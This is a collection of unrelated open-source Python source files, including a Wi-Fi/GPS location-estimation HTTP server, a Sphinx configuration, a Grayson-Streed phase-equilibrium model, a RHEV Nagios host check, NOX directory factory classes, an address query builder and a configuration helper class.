"Path:", self.path if None != re.search('/api/v1/process_wifi_gps_reading/*', self.path): if None != re.search('/api/v1/process_wifi_gps_reading/list/*', self.path): respond_with_list = True else: respond_with_list = False ctype, _ = cgi.parse_header(self.headers.getheader('content-type')) if debug: print "ctype:", ctype if ctype == 'application/json': length = int(self.headers.getheader('content-length')) data = cgi.parse_qs(self.rfile.read(length), keep_blank_values=1) if debug: print "Length:", length, "data:", data json_str = data.keys()[0] dumpfile.write(json_str + "\n") timestamp, locname, wifi_data, gps_data = json_parser.parse_wifi_gps_json(json_str) if locname: locid = location_resolver.resolve_name(locname) else: locid = None if debug: if locid: print timestamp, locid, wifi_data, gps_data else: print timestamp, "no location", wifi_data, gps_data if (not save_readings or not locid) and not respond_with_location: if debug: print "Will respond \"OK, I didn't do anything\"" self.send_response(200, "OK, I didn't do anything") elif (not save_readings or not locid) and respond_with_location: le = locationestimator.LocationEstimator(debug = debug) probs = le.probabilities(wifi_data, gps_data, data_manager.wifi_stats, data_manager.gps_stats) if not respond_with_list: locid = le.estimate_location(probs)[0] locname = location_resolver.resolve_id(locid) response = json.dumps({"location_name":locname, "location_id": locid}) else: locs = le.locations_list(probs) loclist = [{"location_id": loc[0], "location_name": location_resolver.resolve_id(loc[0])} for loc in locs] response = json.dumps(loclist) if debug: print "Will respond:", response self.send_response(200, response) elif save_readings and locid and not respond_with_location: data_manager.save_one_reading(timestamp, locid, wifi_data, gps_data) if debug: print "Will respond \"Saved\"" self.send_response(200, "Saved") elif save_readings and locid and respond_with_location: data_manager.save_one_reading(timestamp, locid, wifi_data, gps_data) le = locationestimator.LocationEstimator(debug = debug) probs = le.probabilities(wifi_data, gps_data, data_manager.wifi_stats, data_manager.gps_stats) if not respond_with_list: locid = le.estimate_location(probs)[0] locname = location_resolver.resolve_id(locid) response = json.dumps({"location_name":locname, "location_id": locid}) else: locs = le.locations_list(probs) loclist = [{"location_id": loc[0], "location_name": location_resolver.resolve_id(loc[0])} for loc in locs] response = json.dumps(loclist) if debug: print "Will respond:", response self.send_response(200, response) def do_GET(self): global debug, http_server, dumpfile if debug: print "GET received:", self.path if None != re.search("/admin/dashboard*", self.path): filespath = os.path.dirname(os.path.realpath(__file__)) if self.path.endswith(".css") or self.path.endswith(".png"): webname = self.path.split('/')[-1] filename = os.path.join(filespath, "static", webname) else: filename = os.path.join(filespath, "static", "dashboard.html") if debug: print filename self.send_response(200) if self.path.endswith(".css"): self.send_header('Content-Type', 'text/css') elif self.path.endswith(".png"): self.send_header('Content-Type', 'image/png') else: self.send_header('Content-Type', 'text/html') self.end_headers() if self.path.endswith(".png"): f = open(filename, "rb") content = f.read() self.wfile.write(content) f.close() elif self.path.endswith(".css"): f = open(filename, "r") for line in f.readlines(): self.wfile.write(line) f.close() else: #assuming that's html page = lxml.html.parse(filename) page.findall(".//div[@id=\"itworks\"]")[0].text = "Works Perfectly!" res = lxml.html.tostring(page, encoding = "utf-8", pretty_print = True) for line in res: self.wfile.write(line) self.wfile.close() elif None != re.search("/admin/settings/*", self.path): if debug: print self.path self.send_response(200, "OK") elif None != re.search("/admin/killserver*", self.path): filespath = os.path.dirname(os.path.realpath(__file__)) filename = os.path.join(filespath, "static", "killserver.html") f = open(filename, "r") page = "".join(f.readlines()) f.close() self.send_response(200, "OK") self.send_header('Content-Type', 'text/html') self.wfile.write(page) self.wfile.close() http_server.stop() dumpfile.close() location_resolver.bg_upd_thread.running = False data_manager.bg_upd_thread.running = False elif None != re.search("/api/v1/get_all_locations/*", self.path): self.send_response(200, location_resolver.get_all_locations_json()) else: self.send_response(404, "Not found") class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): allow_reuse_address = True def shutdown(self): self.socket.close() HTTPServer.shutdown(self) class SimpleHttpServer(): def __init__(self, ip, port): global debug, json_parser, data_manager, location_resolver, dumpfile json_parser = jsonparser.JsonParser(debug = debug) data_manager = datamanager.DataManager(debug = debug) location_resolver = locationresolver.LocationResolver(debug = debug) dumpfile = open("dump.txt", "r+") dumpfile.seek(0, 2) self.server = ThreadedHTTPServer((ip,port), HTTPRequestHandler) data_manager.start_background_updates() location_resolver.start_background_updates() def start(self): self.server_thread = threading.Thread(target=self.server.serve_forever) self.server_thread.daemon = False self.server_thread.start() def waitForThread(self): self.server_thread.join() def stop(self): self.server.shutdown() self.waitForThread() def main(): global http_server http_server = SimpleHttpServer('', 8080) print 'HTTP Server Running...........' http_server.start() http_server.waitForThread() if __name__ == "__main__": main()
maxikov/locationpythonserver
locationpythonserver/new_server/locationpythonserver.py
Python
gpl-3.0
9,521
# -*- coding: utf-8 -*- # # HackMT_2018 documentation build configuration file, created by # sphinx-quickstart on Wed Jan 24 18:54:23 2018. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # # import os # import sys # sys.path.insert(0, os.path.abspath('.')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General information about the project. project = u'HackMT_2018' copyright = u'2018, Kenny Pyatt' author = u'Kenny Pyatt' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = u'' # The full version, including alpha/beta/rc tags. release = u'' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'classic' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # This is required for the alabaster theme # refs: http://alabaster.readthedocs.io/en/latest/installation.html#sidebars html_sidebars = { '**': [ 'globaltoc.html', 'relations.html', # needs 'show_related': True theme option to display 'searchbox.html', ] } # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = 'HackMT_2018doc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'HackMT_2018.tex', u'HackMT\\_2018 Documentation', u'Kenny Pyatt', 'manual'), ] # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'hackmt_2018', u'HackMT_2018 Documentation', [author], 1) ] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'HackMT_2018', u'HackMT_2018 Documentation', author, 'HackMT_2018', 'One line description of project.', 'Miscellaneous'), ]
roguefalcon/rpi_docker_images
hackmt_2018_docs/hackmt2018/conf.py
Python
gpl-3.0
5,121
from tools import * from cochlea_model import *
pabloriera/jitcochlea
jitcochlea/__init__.py
Python
gpl-3.0
49
"test python"
millanes4/repotest
test.py
Python
gpl-3.0
14
#!/usr/bin/python3 # -*- coding: utf-8 -*- '''Pychemqt, Chemical Engineering Process simulator Copyright (C) 2009-2017, Juan José Gómez Romera <[email protected]> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.''' from math import exp, log, log10 from scipy.constants import R from lib.eos import EoS from lib.EoS.Cubic import RK class Grayson_Streed(EoS): r""" Hybrid model for vapor-liquid equilibria in hydrocarbon mixtures using three diferent parameters, given in [1]_. .. math:: K_i = \frac{\nu_i^o\gamma_i}{\Phi_i^V} The fugacity coefficient of pure liquid is calculate4d with a Curl-Pitzer corresponding state correlation: .. math:: \begin{array}[t]{l} \log{\nu_i^o} = \log{\nu_i^{(0)}} + \omega\log{\nu_i^{(1)}}\\ \log{\nu_i^{(0)}} = A_0 + \frac{A_1}{T_r} + A_2T_r + A_3T_r^2 + A_4T_r^3 + \left(A_5+A_6T_r+A_7T_r^2\right)P_r + \left(A_8+A_9T_r\right)P_r^2 - \log{P_r}\\ \log{\nu_i^{(1)}} = B_1 + B_1T_r-\frac{B_3}{T_r} + B_4T_r^3 - B_5\left(P_r-0.6\right)\\ \end{array} The modified parameters of correlation are given in [2]_ Liquid solution are considered regualar solutions, and the liquid activity coefficient are calculated using the Scatchard-Hildebrand correlation: .. math:: \begin{array}[t]{l} \ln{\gamma_i} = \frac{V_i\left(\delta_i-\bar{\delta}\right)^2}{RT}\\ \bar{\delta} = \frac{\sum_i{x_iV_i\delta_i}}{\sum_j{x_jV_j}}\\ \end{array} Optionally can use the Flory-Huggins extension as is given in [3]_: .. math:: \begin{array}[t]{l} \ln{\gamma_i} = \frac{V_i\left(\delta_i-\bar{\delta}\right)^2}{RT} + \ln{\Theta_i} + 1 - \Theta_i\\ \Theta_i = \frac{V_i}{\sum_i{x_iV_i}}\\ \end{array} The fugacity coefficient of vapor is calculated using the :doc:`Redlich-Kwong <lib.EoS.Cubic.RK>` cubic equation of state. This model is applicable to systems of non-polar hydrocarbons, for vapor- liquid equilibrium. It's use the value of gas density from Redlich-Kwong equation, but don't support the liquid density or the enthalpy calculation. Parameters ---------- flory : boolean Use the Flory-Huggins extension to regular solutions Examples -------- Example 7.2 from [4]_, pag 279, liquid-vapor flash equilibrium of a mixture of hydrogen, methane, benzene and toluene. >>> from lib.corriente import Mezcla >>> from lib import unidades >>> zi = [0.31767, 0.58942, 0.07147, 0.02144] >>> mix = Mezcla(2, ids=[1, 2, 40, 41], caudalUnitarioMolar=zi) >>> P = unidades.Pressure(485, "psi") >>> T = unidades.Temperature(100, "F") >>> eq = Grayson_Streed(T, P, mix, flory=0) >>> "β = %0.4f" % eq.x 'β = 0.9106' >>> "xi = %0.4f %0.4f %0.4f %0.4f" % tuple(eq.xi) 'xi = 0.0043 0.0576 0.7096 0.2286' >>> "yi = %0.4f %0.4f %0.4f %0.4f" % tuple(eq.yi) 'yi = 0.3485 0.6417 0.0088 0.0011' """ __title__ = "Grayson Streed (1961)" __status__ = "GS" __doi__ = ( { "autor": "Chao, K.C., Seader, J.D.", "title": "A General Correlatio of Vapor-Liquid Equilibria in " "Hydrocarbon Mixtures", "ref": "AIChE J. 7(4) (1961) 598-605", "doi": "10.1002/aic.690070414"}, { "autor": "Grayson, H.G., Streed, C.W.", "title": "Vapor-Liquid Equilibria for High Temperature, High Pressure " "Hydrogen-Hydrocarbon Systems", "ref": "6th World Petroleum Congress, Frankfurt am Main, Germany, " "19-26 June (1963) 169-181", "doi": ""}, { "autor": "Walas, S.M.", "title": "Phase Equiibria in Chemical Engineering", "ref": "Butterworth-Heinemann, 1985", "doi": "10.1016/C2013-0-04304-6"}, { "autor": "Henley, E.J., Seader, J.D.", "title": "Equilibrium-Stage Separation Operations in Chemical " "Engineering", "ref": "John Wiley & Sons, 1981", "doi": ""} ) def __init__(self, T, P, mezcla, **kwargs): EoS.__init__(self, T, P, mezcla, **kwargs) self.rk = RK(T, P, mezcla) self.x, Zl, Zg, self.xi, self.yi, self.Ki = self._Flash() self.Zg = self.rk.Zg self.rhoG = self.rk.rhoG self.Zl = None self.rhoL = None # print("q = ", self.x) # print("x = ", self.xi) # print("y = ", self.yi) # print("K = ", self.Ki) def _nio(self, T, P): """Liquid fugacity coefficient""" nio = [] for cmp in self.componente: Tr = T/cmp.Tc Pr = P/cmp.Pc # Modified Parameters from [2]_ if cmp.id == 1: # Hydrogen A = [1.50709, 2.74283, -.0211, .00011, 0, .008585, 0, 0, 0, 0] elif cmp.id == 2: # Methane A = [1.36822, -1.54831, 0, 0.02889, -0.01076, 0.10486, -0.02529, 0, 0, 0] else: A = [2.05135, -2.10899, 0, -0.19396, 0.02282, 0.08852, 0, -0.00872, -0.00353, 0.00203] # Eq 3 logn0 = A[0] + A[1]/Tr + A[2]*Tr + A[3]*Tr**2 + A[4]*Tr**3 + \ (A[5]+A[6]*Tr+A[7]*Tr**2)*Pr + (A[8]+A[9]*Tr)*Pr**2 - log10(Pr) # Eq 4 logn1 = -4.23893 + 8.65808*Tr - 1.2206/Tr - 3.15224*Tr**3 - \ 0.025*(Pr-0.6) # Eq 2 nio.append(10**(logn0 + cmp.f_acent_mod*logn1)) # The correlation use the modified acentric factor table return nio def _gi(self, xi, T): """Liquid activity coefficient""" Vm = 0 for x, cmp in zip(xi, self.componente): Vm += x*cmp.wilson.m3mol phi = [] for cmp in self.componente: phi.append(cmp.wilson.m3mol/Vm) sum1 = 0 sum2 = 0 for x, cmp in zip(xi, self.componente): sum1 += x*cmp.wilson.m3mol*cmp.SolubilityParameter sum2 += x*cmp.wilson.m3mol d_ = sum1/sum2 # Eq 5 gi = [] for cmp, phii in zip(self.componente, phi): # Scatchard-Hildebrand regular solution activity-coefficient g = cmp.wilson.m3mol*(cmp.SolubilityParameter-d_)**2/R/T # Flory-Huggins extension if self.kwargs.get("flory", 0): g += log(phii) + 1 - phii gi.append(exp(g)) return gi def _fug(self, xi, yi, T, P): gi = self._gi(xi, T) nio = self._nio(T, P) tital = [n*g for n, g in zip(nio, gi)] self.rk._cubicDefinition(T) Bi = [bi*P/R/T for bi in self.rk.bi] Ai = [ai*P/(R*T)**2 for ai in self.rk.ai] Z = self.rk._Z(yi, T, P)[-1] a, b, delta, epsilon = self.rk._GEOS(yi) B = b*P/R/T A = a*P/(R*T)**2 titav = self.rk._fugacity(Z, yi, A, B, Ai, Bi) return tital, titav def _Z(self, xi, T, P): return None, _all = [Grayson_Streed] if __name__ == "__main__": from lib.corriente import Mezcla from lib import unidades # Example 7.2, pag 153 # Method pag 107 # mezcla = Mezcla(2, ids=[1, 2, 40, 41], # caudalUnitarioMolar=[0.31767, 0.58942, 0.07147, 0.02144]) # P = unidades.Pressure(485, "psi") # T = unidades.Temperature(100, "F") # eq = Grayson_Streed(T, P, mezcla, flory=0) # mix = Mezcla(2, ids=[2, 3, 4, 6, 5, 8, 46, 49, 50, 22], # caudalUnitarioMolar=[1]*10) # eq = Grayson_Streed(293.15, 5e6, mix, flory=0) # Example 4.2, pag 89 # mezcla = Mezcla(1, ids=[4, 40], caudalUnitarioMasico=[26.92, 73.08]) # P = unidades.Pressure(410.3, "psi") # T = unidades.Temperature(400, "F") # eq = Grayson_Streed(T, P, mezcla) # Example 6.7, Wallas, pag 342, dew point calculation mezcla = Mezcla(2, ids=[23, 5], caudalUnitarioMolar=[0.607, 0.393]) P = unidades.Pressure(20, "atm") eq = Grayson_Streed(400, P, mezcla, flory=0) print(eq._Dew_T(P)) eq = Grayson_Streed(300, P, mezcla, flory=0) print(eq._Dew_T(P)) # mix = Mezcla(2, ids=[2, 3, 4, 6, 5, 8, 46, 49, 50, 22], # caudalUnitarioMolar=[1]*10) # eq = Grayson_Streed(293.15, 8.769e6, mix, flory=0) print(eq._Bubble_T(P))
jjgomera/pychemqt
lib/EoS/Grayson_Streed.py
Python
gpl-3.0
8,943
#!/usr/bin/env python # # Author: Pablo Iranzo Gomez ([email protected]) # # Description: Script for monitoring host status and VM's rhevm-sdk # api and produce NAGIOS valid output # # Requires rhevm-sdk to work # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. import optparse from rhev_functions import * description = """ RHEV-nagios-host output is a script for querying RHEVM via API to get host status It's goal is to output a table of host/vm status for simple monitoring via external utilities """ # Option parsing p = optparse.OptionParser("rhev-nagios-host.py [arguments]", description=description) p.add_option("-u", "--user", dest="username", help="Username to connect to RHEVM API", metavar="admin@internal", default="admin@internal") p.add_option("-w", "--password", dest="password", help="Password to use with username", metavar="admin", default="admin") p.add_option("-W", action="store_true", dest="askpassword", help="Ask for password", metavar="admin", default=False) p.add_option("-k", action="store_true", dest="keyring", help="use python keyring for user/password", metavar="keyring", default=False) p.add_option("-s", "--server", dest="server", help="RHEV-M server address/hostname to contact", metavar="127.0.0.1", default="127.0.0.1") p.add_option("-p", "--port", dest="port", help="API port to contact", metavar="443", default="443") p.add_option('-v', "--verbosity", dest="verbosity", help="Show messages while running", metavar='[0-n]', default=0, type='int') p.add_option("--host", dest="host", help="Show messages while running", metavar='host') (options, args) = p.parse_args() options.username, options.password = getuserpass(options) baseurl = "https://%s:%s/ovirt-engine/api" % (options.server, options.port) api = apilogin(url=baseurl, username=options.username, password=options.password) # MAIN PROGRAM # if not options.host: try: host = api.hosts.get(name=options.host) except: print("Host %s not found" % options.host) if not host: print("Host %s not found" % options.host) sys.exit(3) # NAGIOS PRIOS: # 0 -> ok # 1 -> warning # 2 -> critical # 3 -> unknown # By default, return unknown retorno = 3 if host.status.state == "up": retorno = 0 if host.status.state != "up": retorno = 2 if host.tags.get("elas_maint"): retorno = 1 if host.status.state == "maintenance": retorno = 1 print(host.status.state) sys.exit(retorno)
iranzo/rhevm-utils
monitoring/rhev-nagios-host.py
Python
gpl-3.0
2,893
# Copyright 2008 (C) Nicira, Inc. # # This file is part of NOX. # # NOX is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # NOX is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with NOX. If not, see <http://www.gnu.org/licenses/>. # """\ Base classes for all factories that produce directories. Also see nox/lib/directory.py """ class Directory_Factory: # Authentication types AUTH_SIMPLE = "simple_auth" AUTHORIZED_CERT_FP = "authorized_cert_fingerprint" # Type support status codes NO_SUPPORT = 'NO' READ_ONLY_SUPPORT = 'RO' READ_WRITE_SUPPORT = 'RW' # Principal types SWITCH_PRINCIPAL = 0 LOCATION_PRINCIPAL = 1 HOST_PRINCIPAL = 2 USER_PRINCIPAL = 3 ALL_PRINCIPAL_TYPES = ( SWITCH_PRINCIPAL, LOCATION_PRINCIPAL, HOST_PRINCIPAL, USER_PRINCIPAL, ) PRINCIPAL_TYPE_TO_NAME = { SWITCH_PRINCIPAL : "switch principal", LOCATION_PRINCIPAL : "location principal", HOST_PRINCIPAL : "host principal", USER_PRINCIPAL : "user principal", } # Group types SWITCH_PRINCIPAL_GROUP = 0 LOCATION_PRINCIPAL_GROUP = 1 HOST_PRINCIPAL_GROUP = 2 USER_PRINCIPAL_GROUP = 3 DLADDR_GROUP = 4 NWADDR_GROUP = 5 ALL_GROUP_TYPES = ( SWITCH_PRINCIPAL_GROUP, LOCATION_PRINCIPAL_GROUP, HOST_PRINCIPAL_GROUP, USER_PRINCIPAL_GROUP, DLADDR_GROUP, NWADDR_GROUP, ) GROUP_TYPE_TO_NAME = { SWITCH_PRINCIPAL_GROUP : "switch principal group", LOCATION_PRINCIPAL_GROUP : "location principal group", HOST_PRINCIPAL_GROUP : "host principal group", USER_PRINCIPAL_GROUP : "user principal group", DLADDR_GROUP : "datalink address group", NWADDR_GROUP : "network address group", } PRINCIPAL_GROUP_TO_PRINCIPAL = { SWITCH_PRINCIPAL_GROUP : SWITCH_PRINCIPAL, LOCATION_PRINCIPAL_GROUP : LOCATION_PRINCIPAL, HOST_PRINCIPAL_GROUP : HOST_PRINCIPAL, USER_PRINCIPAL_GROUP : USER_PRINCIPAL, } PRINCIPAL_TO_PRINCIPAL_GROUP = { SWITCH_PRINCIPAL : SWITCH_PRINCIPAL_GROUP, LOCATION_PRINCIPAL : LOCATION_PRINCIPAL_GROUP, HOST_PRINCIPAL : HOST_PRINCIPAL_GROUP, USER_PRINCIPAL : USER_PRINCIPAL_GROUP, } def get_type(self): """Return the name of this type""" raise NotImplementedError("get_type must be implemented in "\ "subclass") def get_default_config(self): """Return string->string dict containing default configuration options to use when configuring new instances of this directory type""" return {} def get_instance(self, name, config_id): """Return deferred returning directory instance for config_id """ raise NotImplementedError("get_instance must be implemented in "\ "subclass") def supports_multiple_instances(self): """Return bool indicating whether user may create directory instances """ return True def supports_global_groups(self): """Return true iff directory supports groups containing members \ from other directories. If true, all group member names must be mangled with directory names. Should be false in all but special cases. When true, all group member names passed in and out of *group*() methods should be mangled (including those in GroupInfo instances.) """ return False def supported_auth_types(self): """Returns tuple of authentication types supported by the directory Possible values: AUTH_SIMPLE AUTHORIZED_CERT_FP """ return () def topology_properties_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT def principal_supported(self, principal_type): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ if principal_type == self.SWITCH_PRINCIPAL: return self.switches_supported() elif principal_type == self.LOCATION_PRINCIPAL: return self.locations_supported() elif principal_type == self.HOST_PRINCIPAL: return self.hosts_supported() elif principal_type == self.USER_PRINCIPAL: return self.users_supported() else: return Directory.NO_SUPPORT def group_supported(self, group_type): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. This method is ignored and the associated principal groups are not supported if principal_supported(group_type) returns NO_SUPPORT """ if group_type == self.SWITCH_PRINCIPAL_GROUP: return self.switch_groups_supported() elif group_type == self.LOCATION_PRINCIPAL_GROUP: return self.location_groups_supported() elif group_type == self.HOST_PRINCIPAL_GROUP: return self.host_groups_supported() elif group_type == self.USER_PRINCIPAL_GROUP: return self.user_groups_supported() elif group_type == self.DLADDR_GROUP: return self.dladdr_groups_supported() elif group_type == self.NWADDR_GROUP: return self.nwaddr_groups_supported() else: return Directory.NO_SUPPORT def switches_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT def switch_groups_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. This method is is ignored and location groups are not supported if switches_supported() returns NO_SUPPORT """ return Directory_Factory.NO_SUPPORT def locations_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT def location_groups_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. This method is is ignored and location groups are not supported if locations_supported() returns NO_SUPPORT """ return Directory_Factory.NO_SUPPORT def hosts_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT def host_groups_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT def users_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT def user_groups_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT def dladdr_groups_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT def nwaddr_groups_supported(self): """Returns one of NO_SUPPORT, READ_ONLY_SUPPORT, or READ_WRITE_SUPPORT depending on the capabilities of the directory. """ return Directory_Factory.NO_SUPPORT
bigswitch/snac-nox
src/nox/lib/directory_factory.py
Python
gpl-3.0
8,817
# -*coding: utf-8-*- from collections import Iterable from . import ResourcesQueryBuilder from ...models.resource import Resource from ...models.address import Address from ...models.country import Country from ...models.region import Region from ...models.location import Location class AddressesQueryBuilder(ResourcesQueryBuilder): def __init__(self, context): super(AddressesQueryBuilder, self).__init__(context) self._fields = { 'id': Address.id, '_id': Address.id, 'full_location_name': ( Location.name + ' - ' + Region.name + ' (' + Country.name + ')' ), 'location_name': Location.name, 'region_name': Region.name, 'country_name': Country.name, 'zip_code': Address.zip_code, 'address': Address.address, } self._simple_search_fields = [ Location.name, Region.name, Country.name, Address.zip_code, Address.address ] self.build_query() def build_query(self): self.build_base_query() self.query = ( self.query .join(Address, Resource.address) .join(Location, Address.location) .join(Region, Location.region) .join(Country, Region.country) ) super(AddressesQueryBuilder, self).build_query() def filter_id(self, id): assert isinstance(id, Iterable), u"Must be iterable object" if id: self.query = self.query.filter(Address.id.in_(id))
mazvv/travelcrm
travelcrm/lib/qb/addresses.py
Python
gpl-3.0
1,608
import sys from .serializer import serialize class Configuration(object): """Wrap a dictionary and provide certain helper methods. Adds ability to access nested values using dotted keys. Parameters ---------- conf_dict: dict A dictionary which should be wrapped. If not provided, an empty configuration object is created. Examples -------- >>> my_dict = {'key1': {'nestedkey1: 'value1'}, 'key2': 'value2'} >>> conf = Configuration(my_dict) >>> print(conf['key1.nestedkey1']) value1 >>> print(conf['key2']) value2 """ def __init__(self, conf_dict=None): self._conf = conf_dict if conf_dict is not None else dict() self._connections = {} def __getitem__(self, key_string): data = self._conf for key in key_string.split('.'): if not isinstance(data, dict): raise KeyError("Error: Invalid key '{key}' in" "key-string '{key_string}'".format(key=key, key_string=key_string)) data = data[key] return data def __setitem__(self, key, value): self._conf[key] = value def __contains__(self, key_string): data = self._conf for key in key_string.split('.'): try: data = data[key] except KeyError: return False return True def as_dict(self): """Return a new copy of the internal dictionary""" return dict(self._conf) def connect(self, env_var, key_string, **kwargs): """Connect environment variables with dictionary keys. You can append an @ at the end of key_string to denote that the given field can take multiple values. Anything after the @ will be assumed to be an attribute which should be extracted from the list of those multiple values. Parameters ---------- env_var: str The name of the environment variable. key_string: str Similar to the dotted key but also provides an extension where you can extract attributes from a list of dicts using @. contains: bool If true, will set whether the given key_string exists. `callback`, `default` will be ignored. default: object This will only be used with @ when the provided attribute is not present in a member of a list. callback: callable If present, the extracted value using the key_string will be passed to the callback. The callback's return value would be used as the new value """ contains = kwargs.get('contains', False) default = kwargs.get('default', None) callback = kwargs.get('callback', None) validate = kwargs.get('validate', lambda x: True) try: ks_split = key_string.split('@') attr = ks_split[1] key_string = ks_split[0] multi_field = True except IndexError: multi_field = False if contains: data = key_string in self else: try: data = self[key_string] except KeyError: sys.stderr.write("Fatal: Missing key '{key}'\n".format(key=key_string)) return if multi_field: if not isinstance(data, list): data = [data] if attr: data_ = [] for i, element in enumerate(data): if not validate(element): sys.stderr.write("Warning: '{element}' may not be a valid " "value for key '{key}.{attr}'\n".format(element=element.get(attr, None), key=key_string, attr=attr)) continue try: data_.append(element[attr]) except KeyError: if default is None: sys.stderr.write("Fatal: Missing attribute " "'{attr}' in entry {eno} " "for key '{key}'\n".format(attr=attr, eno=i, key=key_string)) return else: data_.append(default) data = data_ else: if not validate(data): sys.stderr.write("Warning: '{data}' is not a valid " "value for key '{key}'\n".format(data=data, key=key_string)) return else: if not validate(data): sys.stderr.write("Warning: '{data}' is not a valid " "value for key '{key}'\n".format(data=data, key=key_string)) return if callback: try: data = callback(data) except (KeyError, IndexError): sys.stderr.write("Fatal: Error while parsing section '{section}'\n".format(section=data)) return self._connections[env_var] = data def getenv(self, seperator=','): """Return a dict with the connected environment variables as keys and the extracted values as values""" dict_ = {} for envvar, value in self._connections.items(): dict_[envvar] = serialize(value) return dict_ def get(self, key_string, default=None): """Similar to the dict's get method""" try: return self[key_string] except KeyError: return default
pri22296/yaydoc
modules/scripts/config/configuration.py
Python
gpl-3.0
6,376
